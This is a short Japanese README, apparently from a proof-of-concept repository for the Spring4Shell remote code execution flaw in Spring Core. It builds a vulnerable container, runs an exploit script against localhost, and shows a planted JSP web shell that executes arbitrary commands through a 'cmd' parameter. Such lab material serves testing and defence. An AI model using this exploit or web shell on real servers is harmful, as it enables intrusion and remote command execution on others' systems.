
別の spring4shell (Spring core RCE) POC
この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。
詳細情報はこちら

この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります
docker build . -t springshell-rce-poc
docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc
python exploit-poc.py --url "http://127.0.0.1:8081/"
期待される応答
exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami
この URL にアクセスすると、cmd=<任意のコマンド> で任意のコマンドを実行できます

コンテナに SSH 接続すると、新しいファイル tomcatwar.jsp が作成されていることを確認できます
docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT